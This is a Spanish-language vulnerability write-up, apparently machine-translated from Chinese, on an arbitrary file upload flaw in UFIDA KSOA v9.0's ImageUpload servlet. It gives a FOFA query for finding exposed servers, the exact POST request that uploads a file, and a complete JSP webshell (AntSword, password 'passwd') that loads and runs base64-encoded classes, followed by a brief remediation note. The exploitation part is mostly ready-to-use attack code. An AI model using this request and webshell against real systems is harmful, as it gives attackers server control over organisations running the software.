1. Introducción del producto
UFIDA KSOA es un producto de nueva generación desarrollado bajo la guía del concepto SOA, es una infraestructura de TI unificada lanzada de acuerdo con las necesidades más avanzadas de las empresas de distribución, que permite que los sistemas de TI establecidos por las empresas de distribución en varios períodos comunicarse fácilmente entre sí Ayudar a las empresas de distribución a proteger la inversión original en TI, simplificar la gestión de TI, mejorar la competitividad y garantizar la realización de los objetivos estratégicos generales y las actividades de innovación de la empresa.
2. Visión general de la vulnerabilidad
Existe una vulnerabilidad de carga arbitraria de archivos en la plataforma ImageUpload de UFIDA KSOA, a través de la cual un atacante puede obtener privilegios de servidor.
3. Ámbito de influencia
Plataforma de integración de información empresarial UFIDA KSOA v9.0
4. Reproducir el entorno
FOFA:app="Yonyou-Tiempo y Espacio KSOA"
5. Recurrencia de la vulnerabilidad
Burp toma el paquete de la página de inicio y lo envía al módulo repetidor para su reproducción.
punto de contacto
POST /servlet/com.sksoft.bill.ImageUpload?filename=[上传的文件名]&filepath=/ HTTP/1.1
Host: your-ip
[文件内容]
Reproducido con éxito
6. Explotación
La página está escrita en java, intente cargar el troyano de una oración Ant Sword jsp directamente, contraseña: passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
Verifique que sea analizable
No hay problema, abra Ant Sword e intente conectarse (recuerde eliminar la puerta trasera después de la prueba)
7. Sugerencia de reparación
Actualizar a una versión o parche seguro
Reduzca la exposición a Internet, limite los tipos de archivos cargados, aumente las restricciones de carga de la lista negra y la lista blanca, etc.